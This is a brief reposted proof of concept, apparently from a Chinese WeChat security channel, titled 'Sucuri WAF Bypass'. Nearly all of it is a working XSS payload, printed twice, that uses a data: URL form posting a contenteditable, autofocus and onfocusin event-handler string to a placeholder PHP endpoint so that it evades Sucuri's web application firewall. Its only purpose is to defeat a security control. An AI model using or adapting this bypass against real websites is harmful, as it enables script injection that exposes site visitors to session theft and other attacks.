Sucuri WAF Bypass

POC：

data:text/html,<form action=https://xxx.com.br/xss-waf.php method=post><input type=hidden name=a value="<K Contenteditable Autofocus OnFocusIn=[1].map(alert)>"><input type=submit value=XSS></form>

data:text/html,<form action=https://xxx.com.br/xss-waf.php method=post><input type=hidden name=a value="<K Contenteditable Autofocus OnFocusIn=[1].map(alert)>"><input type=submit value=XSS></form>

原文始发于微信公众号（Khan安全攻防实验室）：Sucuri WAF Bypass